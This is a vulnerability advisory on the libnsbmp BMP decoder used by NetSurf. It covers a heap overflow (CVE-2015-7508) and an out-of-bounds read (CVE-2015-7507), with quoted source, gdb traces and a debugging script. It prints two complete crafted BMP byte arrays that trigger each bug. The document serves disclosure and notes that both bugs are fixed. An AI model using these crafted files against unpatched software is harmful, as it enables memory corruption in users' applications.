Overview
========
Libnsbmp[1] is a decoding library for BMP and ICO files. It is
primarily developed and used as part of the NetSurf project.
As of version 0.1.2, libnsbmp is vulnerable to a heap overflow
(CVE-2015-7508) and an out-of-bounds read (CVE-2015-7507).
CVE-2015-7508
=============
libnsbmp expects that the user-supplied `bmp_bitmap_cb_create' callback
allocates enough memory to accommodate for `bmp->width * bmp->height *
4' bytes. However, due to the way `pixels_left' is calculated, the last
row of run-length encoded data may expand beyond the end of
`bmp->bitmap', resulting in a heap overflow.
src/libnsbmp.c #951..1097:
,----
| static bmp_result bmp_decode_rle(bmp_image *bmp, uint8_t *data, int bytes, int size) {
| [...]
| swidth = bmp->bitmap_callbacks.bitmap_get_bpp(bmp->bitmap) * bmp->width;
| top = bmp->bitmap_callbacks.bitmap_get_buffer(bmp->bitmap);
| [...]
| do {
| [...]
| length = *data++;
| if (length == 0) {
| [...]
| /* 00 - NN means escape NN pixels */
| if (bmp->reversed) {
| pixels_left = (y + 1) * bmp->width - x;
| scanline = (void *)(top + (y * swidth));
| } else {
| pixels_left = (bmp->height - y + 1) * bmp->width - x;
| scanline = (void *)(bottom - (y * swidth));
| }
| if (length > pixels_left)
| length = pixels_left;
| if (data + length > end)
| return BMP_INSUFFICIENT_DATA;
| [...]
| } else {
| /* NN means perform RLE for NN pixels */
| if (bmp->reversed) {
| pixels_left = (y + 1) * bmp->width - x;
| scanline = (void *)(top + (y * swidth));
| } else {
| pixels_left = (bmp->height - y + 1) * bmp->width - x;
| scanline = (void *)(bottom - (y * swidth));
| }
| if (length > pixels_left)
| length = pixels_left;
| [...]
| pixel2 = *data++;
| pixel = bmp->colour_table[pixel2 >> 4];
| pixel2 = bmp->colour_table[pixel2 & 0xf];
| for (i = 0; i < length; i++) {
| if (x >= bmp->width) {
| x = 0;
| if (++y > bmp->height)
| return BMP_DATA_ERROR;
| scanline -= bmp->width;
| }
| if ((i & 1) == 0)
| scanline[x++] = pixel;
| else
| scanline[x++] = pixel2;
| }
| }
| }
| } while (data < end);
| [...]
| }
`----
Using NetSurf as an example:
,----
| ~/netsurf-all-3.3/netsurf$ gdb -x heap.py --args ./nsgtk heap.bmp
| [...]
| heap overfow: pix: 0xff999999 ptr: 0x7fffe29fefed, end of buf: 0x7fffe29fefec (+1)
| heap overfow: pix: 0xff999999 ptr: 0x7fffe29fefef, end of buf: 0x7fffe29fefec (+3)
| heap overfow: pix: 0xff999999 ptr: 0x7fffe29feff1, end of buf: 0x7fffe29fefec (+5)
|
| Program received signal SIGSEGV, Segmentation fault.
| 0x00000000005183e4 in bmp_decode_rle (bmp=0xda9ff0, data=0xdb9e24 'A' <repeats 23 times>, bytes=157, size=4) at
src/libnsbmp.c:1091
| 1091 scanline[x++] = pixel2;
| (gdb)
`----
heap.py:
,----
| class Breakpoint(gdb.Breakpoint):
| def stop(self):
| top = get_hex("top")
| width = get_hex("bmp->width")
| height = get_hex("bmp->height")
| bpp = get_hex("bmp->bpp")
| x = get_hex("x")
| scanline = get_hex("scanline")
| pixel2 = get_hex("pixel2")
|
| cur = scanline + x
| end = top + width * height * bpp
| if cur > end:
| print("heap overfow: pix: 0x%x ptr: 0x%x, end of buf: 0x%x (+%d)" %
| (pixel2, cur, end, cur - end))
| return False
|
| def get_hex(arg):
| res = gdb.execute("print/x %s" % arg, to_string=True)
| x = res.split(" ")[-1].strip()
| return int(x, 16)
|
| Breakpoint("netsurf-all-3.3/libnsbmp/src/libnsbmp.c:1091")
|
| gdb.execute("run")
`----
heap.bmp:
,----
| unsigned char heap[] = {
| /* bmp_analyse() */
| 0x42, 0x4d, /* BM */
| 0x41, 0x00, 0x00, 0x40, /* bmp size */
| 0x00, 0x00, /* reserved */
| 0x00, 0x00, /* reserved */
| 0x00, 0x00, 0x00, 0x00, /* bmp->bitmap_offset */
|
| /* bmp_analyse_header() */
| 0x6c, 0x00, 0x00, 0x00, /* header_size */
| 0xff, 0x7f, 0x00, 0x00, /* width */
| 0xf7, 0xff, 0xff, 0xff, /* height */
| 0x01, 0x00, /* colour planes */
| 0x04, 0x00, /* bmp->bpp */
| 0x02, 0x00, 0x00, 0x00, /* bmp->encoding */
| 0x04, 0x00, 0x00, 0x00, /* size of bitmap */
| 0x41, 0x41, 0x00, 0x00, /* horizontal resolution */
| 0x41, 0x41, 0x00, 0x00, /* vertical resolution */
| 0x01, 0x00, 0x00, 0x00, /* bmp->colours */
| 0x00, 0x00, 0x00, 0x00, /* number of important colours */
| 0x41, 0x41, 0x41, 0x41, /* mask identifying bits of red component */
| 0x00, 0x00, 0x00, 0x00, /* mask identifying bits of green component */
| 0x00, 0x00, 0x00, 0x00, /* mask identifying bits of blue component */
|
| /*
| * NOTE: the first two bytes of the alpha mask are used in the
| * expansion of the last "line".
| *
| * 0xff = the number of bytes to expand,
| * 0x00 = the pixel which, combined with a bitwise AND against 0xf,
| * is used to dereference a (potentially) suiting "real"
| * pixel in bmp->colour_table. Since bmp->colours is
| * specified as 1, we want this to be 0. No bounds checking
| * is done and as such libnsbmp may be induced to read from
| * bmp->colour_table[out_of_bounds_index] (CVE-2015-7507)
| */
| 0xff, 0x00, 0x41, 0x41, /* mask identifying bits of alpha component */
|
| 0x41, 0x41, 0x41, 0x41, /* color space type */
| 0x41, 0x41, 0x41, 0x41, /* x coordinate of red endpoint */
| 0x41, 0x41, 0x41, 0x41, /* y coordinate of red endpoint */
| 0x41, 0x41, 0x41, 0x41, /* z coordinate of red endpoint */
| 0x41, 0x41, 0x41, 0x41, /* x coordinate of green endpoint */
| 0x41, 0x00, 0x41, 0x41, /* y coordinate of green endpoint */
| 0x41, 0x41, 0x41, 0x41, /* z coordinate of green endpoint */
| 0x41, 0x41, 0x41, 0x41, /* x coordinate of blue endpoint */
| 0x41, 0x41, 0x41, 0x41, /* y coordinate of blue endpoint */
| 0x41, 0x41, 0x41, 0x41, /* z coordinate of blue endpoint */
| 0x41, 0x41, 0x41, 0x41, /* gamma red coordinate scale value */
| 0x41, 0x41, 0x41, 0x41, /* gamma green coordinate scale value */
| 0x41, 0x41, 0x41, 0x41, /* gamma blue coordinate scale value */
|
| /*
| * NOTE: this is what will be expanded on the last "line"
| */
| 0x99, 0x99, 0x99, /* bmp->colour_table[0] */
|
| 0x41, 0x41, 0x41, 0x41,
| 0x41, 0x41, 0x41, 0x41,
| 0x41, 0x41, 0x41, 0x41,
| 0x41, 0x41, 0x41, 0x41,
| 0x41, 0x41, 0x41, 0x41,
| 0x41, 0x41, 0x41, 0x41,
| 0x41, 0x41, 0x41, 0x41,
| 0x41, 0x41, 0x41, 0x41,
| };
`----
CVE-2015-7507
=============
An out-of-bounds read may occur in libnsbmp due to a lack of boundary
checking before dereferencing `bmp->colour_table' in `bmp_decode_rgb()'
and `bmp_decode_rle()' with an index based on a user-supplied value.
src/libnsbmp.c #306..558:
,----
| static bmp_result bmp_analyse_header(bmp_image *bmp, uint8_t *data) {
| [...]
| header_size = read_uint32(data, 0);
| [...]
| if (header_size == 12) {
| [...]
| bmp->bpp = read_uint16(data, 10);
| /**
| * The bpp value should be in the range 1-32, but the only
| * values considered legal are:
| * RGB ENCODING: 1, 4, 8, 16, 24 and 32
| */
| if ((bmp->bpp != 1) && (bmp->bpp != 4) &&
| (bmp->bpp != 8) &&
| (bmp->bpp != 16) &&
| (bmp->bpp != 24) &&
| (bmp->bpp != 32))
| return BMP_DATA_ERROR;
| bmp->colours = (1 << bmp->bpp);
| palette_size = 3;
| } else if (header_size < 40) {
| return BMP_DATA_ERROR;
| } else {
| [...]
| bmp->colours = read_uint32(data, 32);
| if (bmp->colours == 0)
| bmp->colours = (1 << bmp->bpp);
| palette_size = 4;
| }
| [...]
| if (bmp->bpp < 16) {
| [...]
| /* create the colour table */
| bmp->colour_table = (uint32_t *)malloc(bmp->colours * 4);
| if (!bmp->colour_table)
| return BMP_INSUFFICIENT_MEMORY;
| for (i = 0; i < bmp->colours; i++) {
| bmp->colour_table[i] = data[2] | (data[1] << 8) | (data[0] << 16);
| if (bmp->opaque)
| bmp->colour_table[i] |= (0xff << 24);
| data += palette_size;
| bmp->colour_table[i] = read_uint32((uint8_t *)&bmp->colour_table[i],0);
| }
| }
| [...]
| }
`----
src/libnsbmp.c #951..1097:
,----
| static bmp_result bmp_decode_rle(bmp_image *bmp, uint8_t *data, int bytes, int size) {
| [...]
| do {
| [...]
| length = *data++;
| if (length == 0) {
| [...]
| } else {
| /* 00 - NN means escape NN pixels */
| [...]
| if (size == 8) {
| [...]
| scanline[x++] = bmp->colour_table[(int)*data++];
| }
| } else {
| [...]
| if ((i & 1) == 0) {
| pixel = *data++;
| scanline[x++] = bmp->colour_table
| [pixel >> 4];
| } else {
| scanline[x++] = bmp->colour_table
| [pixel & 0xf];
| }
| }
| [...]
| }
| } else {
| /* NN means perform RLE for NN pixels */
| [...]
| if (size == 8) {
| pixel = bmp->colour_table[(int)*data++];
| [...]
| } else {
| pixel2 = *data++;
| pixel = bmp->colour_table[pixel2 >> 4];
| pixel2 = bmp->colour_table[pixel2 & 0xf];
| [...]
| }
| }
| }
| } while (data < end);
| [...]
| }
`----
src/libnsbmp.c #844..893:
,----
| static bmp_result bmp_decode_rgb(bmp_image *bmp, uint8_t **start, int bytes) {
| [...]
| uint8_t bit_shifts[8];
| uint8_t ppb = 8 / bmp->bpp;
| uint8_t bit_mask = (1 << bmp->bpp) - 1;
| uint8_t cur_byte = 0, bit, i;
|
| for (i = 0; i < ppb; i++)
| bit_shifts[i] = 8 - ((i + 1) * bmp->bpp);
| [...]
| /* Determine transparent index */
| if (bmp->limited_trans)
| bmp->transparent_index = bmp->colour_table[(*data >> bit_shifts[0]) & bit_mask];
|
| for (y = 0; y < bmp->height; y++) {
| [...]
| for (x = 0; x < bmp->width; x++) {
| if (bit >= ppb) {
| bit = 0;
| cur_byte = *data++;
| }
| scanline[x] = bmp->colour_table[(cur_byte >> bit_shifts[bit++]) & bit_mask];
| [...]
| }
| }
| *start = data;
| return BMP_OK;
| }
`----
Another NetSurf example:
,----
| ~/netsurf-all-3.3/netsurf$ gdb --args ./nsgtk oob.bmp
| [...]
| (gdb) b netsurf-all-3.3/libnsbmp/src/libnsbmp.c:531
| Breakpoint 1 at 0x516a3e: file src/libnsbmp.c, line 531.
| (gdb) b netsurf-all-3.3/libnsbmp/src/libnsbmp.c:869
| Breakpoint 2 at 0x5179bb: file src/libnsbmp.c, line 869.
| (gdb) b netsurf-all-3.3/libnsbmp/src/libnsbmp.c:886
| Breakpoint 3 at 0x517aab: file src/libnsbmp.c, line 886.
| (gdb) r
| [...]
| Breakpoint 1, bmp_analyse_header (bmp=0xdadc90, data=0xdb9e6a "377377377") at src/libnsbmp.c:531
| 531 bmp->colour_table = (uint32_t *)malloc(bmp->colours * 4);
| (gdb) p bmp->colours * 4
| $1 = 4
| (gdb) c
| [...]
| Breakpoint 3, bmp_decode_rgb (bmp=0xdadc90, start=0x7fffffffbff0, bytes=4) at src/libnsbmp.c:886
| 886 scanline[x] = bmp->colour_table[(cur_byte >> bit_shifts[bit++]) & bit_mask];
| (gdb) p (cur_byte >> bit_shifts[bit++]) & bit_mask
| $2 = 255
| (gdb)
`----
oob.bmp:
,----
| unsigned char bmp[] = {
| /* bmp_analyse() */
| 0x42, 0x4d, /* BM */
| 0x7e, 0x00, 0x00, 0x00, /* bmp size */
| 0x00, 0x00, /* reserved */
| 0x00, 0x00, /* reserved */
| 0x7a, 0x00, 0x00, 0x00, /* bmp->bitmap_offset */
|
| /* bmp_analyse_header() */
| 0x6c, 0x00, 0x00, 0x00, /* header_size */
| 0x01, 0x00, 0x00, 0x00, /* width */
| 0x01, 0x00, 0x00, 0x00, /* height */
| 0x01, 0x00, /* colour planes */
| 0x08, 0x00, /* bmp->bpp */
| 0x00, 0x00, 0x00, 0x00, /* bmp->encoding */
| 0x00, 0x00, 0x00, 0x00, /* size of bitmap */
| 0x00, 0x00, 0x00, 0x00, /* horizontal resolution */
| 0x00, 0x00, 0x00, 0x00, /* vertical resolution */
| 0x01, 0x00, 0x00, 0x00, /* bmp->colours */
| 0x00, 0x00, 0x00, 0x00, /* number of important colours */
| 0x00, 0x00, 0x00, 0x00, /* mask identifying bits of red component */
| 0x00, 0x00, 0x00, 0x00, /* mask identifying bits of green component */
| 0x00, 0x00, 0x00, 0x00, /* mask identifying bits of blue component */
| 0x00, 0x00, 0x00, 0x00, /* mask identifying bits of alpha component */
| 0x00, 0x00, 0x00, 0x00, /* color space type */
| 0x00, 0x00, 0x00, 0x00, /* x coordinate of red endpoint */
| 0x00, 0x00, 0x00, 0x00, /* y coordinate of red endpoint */
| 0x00, 0x00, 0x00, 0x00, /* z coordinate of red endpoint */
| 0x00, 0x00, 0x00, 0x00, /* x coordinate of green endpoint */
| 0x00, 0x00, 0x00, 0x00, /* y coordinate of green endpoint */
| 0x00, 0x00, 0x00, 0x00, /* z coordinate of green endpoint */
| 0x00, 0x00, 0x00, 0x00, /* x coordinate of blue endpoint */
| 0x00, 0x00, 0x00, 0x00, /* y coordinate of blue endpoint */
| 0x00, 0x00, 0x00, 0x00, /* z coordinate of blue endpoint */
| 0x00, 0x00, 0x00, 0x00, /* gamma red coordinate scale value */
| 0x00, 0x00, 0x00, 0x00, /* gamma green coordinate scale value */
| 0x00, 0x00, 0x00, 0x00, /* gamma blue coordinate scale value */
| 0xff, 0xff, 0xff, 0x00 /* bmp->colour_table[0] */
| };
`----
Solution
========
Both vulnerabilities are fixed in git HEAD[2].
Footnotes
_________
[1] [http://www.netsurf-browser.org/projects/libnsbmp/]
[2] [http://source.netsurf-browser.org/libnsbmp.git/]
Hans Jerry Illikainen